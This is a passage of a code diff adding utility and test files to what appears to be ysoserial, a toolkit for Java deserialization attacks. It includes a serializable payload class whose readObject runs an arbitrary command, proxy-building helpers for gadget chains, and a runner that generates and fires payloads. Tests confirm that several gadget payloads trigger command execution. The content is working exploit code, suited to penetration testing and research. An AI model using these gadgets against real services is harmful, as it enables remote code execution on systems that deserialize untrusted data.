return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
package ysoserial.payloads.util;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.io.Serializable;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.lang.reflect.Proxy;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||||
|
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
||||||
|
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* utility generator functions for common jdk-only gadgets
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("restriction")
|
||||||
|
public class Gadgets {
|
||||||
|
private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||||
|
|
||||||
|
// serializable translet subclass that will command stored in field when deserialized
|
||||||
|
public static class TransletPayload extends AbstractTranslet implements Serializable {
|
||||||
|
private static final long serialVersionUID = 5571793986024357801L;
|
||||||
|
|
||||||
|
{
|
||||||
|
namesArray = new String[0]; // needed to make TemplatesImpl happy
|
||||||
|
}
|
||||||
|
|
||||||
|
private String command;
|
||||||
|
|
||||||
|
// execute stored command on deserialization
|
||||||
|
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
|
||||||
|
in.defaultReadObject(); // read command string
|
||||||
|
try {
|
||||||
|
Runtime.getRuntime().exec(command); // execute command
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace(); // not trying to be stealthy
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public TransletPayload withCommand(String command) {
|
||||||
|
this.command = command;
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
|
||||||
|
|
||||||
|
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
|
||||||
|
throws TransletException {}
|
||||||
|
}
|
||||||
|
|
||||||
|
// required to make TemplatesImpl happy
|
||||||
|
public static class Foo implements Serializable {
|
||||||
|
private static final long serialVersionUID = 8207363842866235160L;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
|
||||||
|
final Class<?> ... ifaces) throws Exception {
|
||||||
|
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
|
||||||
|
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
|
||||||
|
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
|
||||||
|
allIfaces[0] = iface;
|
||||||
|
if (ifaces.length > 0) {
|
||||||
|
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
|
||||||
|
}
|
||||||
|
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Map<String,Object> createMap(final String key, final Object val) {
|
||||||
|
final Map<String,Object> map = new HashMap<String, Object>();
|
||||||
|
map.put(key,val);
|
||||||
|
return map;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
package ysoserial.payloads.util;
|
||||||
|
|
||||||
|
import static ysoserial.payloads.util.Serializables.deserialize;
|
||||||
|
import static ysoserial.payloads.util.Serializables.serialize;
|
||||||
|
import ysoserial.payloads.ObjectPayload;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* utility class for running exploits locally from command line
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("unused")
|
||||||
|
public class PayloadRunner {
|
||||||
|
public static void run(final Class<? extends ObjectPayload> clazz, final String[] args) {
|
||||||
|
try {
|
||||||
|
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
|
||||||
|
|
||||||
|
System.out.println("generating payload object(s) for command: '" + command + "'");
|
||||||
|
|
||||||
|
final Object objBefore = clazz.newInstance().getObject(command);
|
||||||
|
|
||||||
|
System.out.println("serializing payload");
|
||||||
|
|
||||||
|
final byte[] serialized = serialize(objBefore);
|
||||||
|
|
||||||
|
System.out.println("deserializing payload");
|
||||||
|
|
||||||
|
final Object objAfter = deserialize(serialized);
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
package ysoserial.payloads.util;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
|
public class Reflections {
|
||||||
|
|
||||||
|
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
if (field == null && clazz.getSuperclass() != null) {
|
||||||
|
field = getField(clazz.getSuperclass(), fieldName);
|
||||||
|
}
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
final Field field = getField(obj.getClass(), fieldName);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
|
||||||
|
final Field field = getField(obj.getClass(), fieldName);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Constructor<?> getFirstCtor(final String name) throws Exception {
|
||||||
|
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
|
||||||
|
ctor.setAccessible(true);
|
||||||
|
return ctor;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
package ysoserial.payloads.util;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
|
||||||
|
public class Serializables {
|
||||||
|
|
||||||
|
public static byte[] serialize(final Object obj) throws IOException {
|
||||||
|
final ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
serialize(obj, out);
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void serialize(final Object obj, final OutputStream out) throws IOException {
|
||||||
|
final ObjectOutputStream objOut = new ObjectOutputStream(out);
|
||||||
|
objOut.writeObject(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
|
||||||
|
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
|
||||||
|
return deserialize(in);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
|
||||||
|
final ObjectInputStream objIn = new ObjectInputStream(in);
|
||||||
|
return objIn.readObject();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package ysoserial;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.io.Serializable;
|
||||||
|
|
||||||
|
@SuppressWarnings("serial")
|
||||||
|
public class ExecSerializable implements Serializable {
|
||||||
|
private void readObject(final ObjectInputStream ois) {
|
||||||
|
try {
|
||||||
|
Runtime.getRuntime().exec("hostname");
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
package ysoserial;
|
||||||
|
|
||||||
|
import java.io.Serializable;
|
||||||
|
|
||||||
|
import ysoserial.payloads.ObjectPayload;
|
||||||
|
|
||||||
|
public class MockPayload implements ObjectPayload {
|
||||||
|
private final Serializable obj;
|
||||||
|
|
||||||
|
public MockPayload(final Serializable obj) {
|
||||||
|
this.obj = obj;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getObject(final String command) throws Exception {
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package ysoserial;
|
||||||
|
|
||||||
|
import java.security.Permission;
|
||||||
|
import java.util.LinkedList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class MockSecurityManager extends SecurityManager {
|
||||||
|
private final List<Permission> checks = new LinkedList<Permission>();
|
||||||
|
|
||||||
|
public List<Permission> getChecks() {
|
||||||
|
return checks;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkPermission(final Permission perm) {
|
||||||
|
checks.add(perm);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkPermission(final Permission perm, final Object context) {
|
||||||
|
checks.add(perm);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
package ysoserial;
|
||||||
|
|
||||||
|
public class Throwables {
|
||||||
|
public static Throwable getInnermostCause(final Throwable t) {
|
||||||
|
final Throwable cause = t.getCause();
|
||||||
|
return cause == null ? t : getInnermostCause(cause);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,90 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
||||||
|
|
||||||
|
import java.io.FilePermission;
|
||||||
|
|
||||||
|
import org.junit.Assert;
|
||||||
|
import org.junit.Rule;
|
||||||
|
import org.junit.Test;
|
||||||
|
import org.junit.contrib.java.lang.system.ProvideSecurityManager;
|
||||||
|
import org.junit.experimental.theories.DataPoints;
|
||||||
|
import org.junit.experimental.theories.Theories;
|
||||||
|
import org.junit.experimental.theories.Theory;
|
||||||
|
import org.junit.runner.RunWith;
|
||||||
|
|
||||||
|
import ysoserial.ExecSerializable;
|
||||||
|
import ysoserial.MockPayload;
|
||||||
|
import ysoserial.MockSecurityManager;
|
||||||
|
import ysoserial.Throwables;
|
||||||
|
import ysoserial.payloads.CommonsCollections1;
|
||||||
|
import ysoserial.payloads.Groovy1;
|
||||||
|
import ysoserial.payloads.ObjectPayload;
|
||||||
|
import ysoserial.payloads.Spring1;
|
||||||
|
import ysoserial.payloads.util.Serializables;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws
|
||||||
|
* a special exception when an exec() attempt is made for more reliable detection; self-tests
|
||||||
|
* the harness for trivial pass and failure cases
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({"restriction","unused"})
|
||||||
|
@RunWith(Theories.class)
|
||||||
|
public class PayloadsTest {
|
||||||
|
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
|
||||||
|
|
||||||
|
@SuppressWarnings("serial")
|
||||||
|
private static class ExecException extends RuntimeException {}
|
||||||
|
private final MockSecurityManager msm = new MockSecurityManager(){
|
||||||
|
public void checkExec(final String cmd) {
|
||||||
|
super.checkExec(cmd);
|
||||||
|
// throw a special exception to ensure we can detect exec() in the test
|
||||||
|
throw new ExecException();
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
@Rule
|
||||||
|
public final ProvideSecurityManager psm = new ProvideSecurityManager(msm);
|
||||||
|
|
||||||
|
@DataPoints
|
||||||
|
public static ObjectPayload[] payloads() {
|
||||||
|
return new ObjectPayload[] { new CommonsCollections1(), new Groovy1(), new Spring1() };
|
||||||
|
}
|
||||||
|
|
||||||
|
@Theory
|
||||||
|
public void testPayload(final ObjectPayload payload) throws Exception {
|
||||||
|
final Object f = payload.getObject("hostname");
|
||||||
|
final byte[] serialized = Serializables.serialize(f);
|
||||||
|
|
||||||
|
// special case for using TemplatesImpl gadgets with SecurityManager
|
||||||
|
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
||||||
|
|
||||||
|
try {
|
||||||
|
final Object obj = Serializables.deserialize(serialized);
|
||||||
|
Assert.fail(ASSERT_MESSAGE); // should never get here
|
||||||
|
} catch (Exception e) {
|
||||||
|
// hopefully everything will reliably nest our ExecException
|
||||||
|
Assert.assertEquals(Throwables.getInnermostCause(e).getClass(), ExecException.class);
|
||||||
|
}
|
||||||
|
|
||||||
|
// confirm sm saw the check for file execution
|
||||||
|
Assert.assertTrue(msm.getChecks().contains(new FilePermission("<<ALL FILES>>", "execute")));
|
||||||
|
}
|
||||||
|
|
||||||
|
// make sure test harness fails properly
|
||||||
|
@Test
|
||||||
|
public void testHarnessFail() throws Exception {
|
||||||
|
try {
|
||||||
|
testPayload(new MockPayload(1));
|
||||||
|
Assert.fail("should have failed");
|
||||||
|
} catch (AssertionError e) {
|
||||||
|
Assert.assertEquals(ASSERT_MESSAGE, e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// make sure test harness passes properly
|
||||||
|
@Test
|
||||||
|
public void testHarnessPass() throws Exception {
|
||||||
|
testPayload(new MockPayload(new ExecSerializable()));
|
||||||
|
}
|
||||||
|
}
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 42 KiB |
Reference in New Issue
Block a user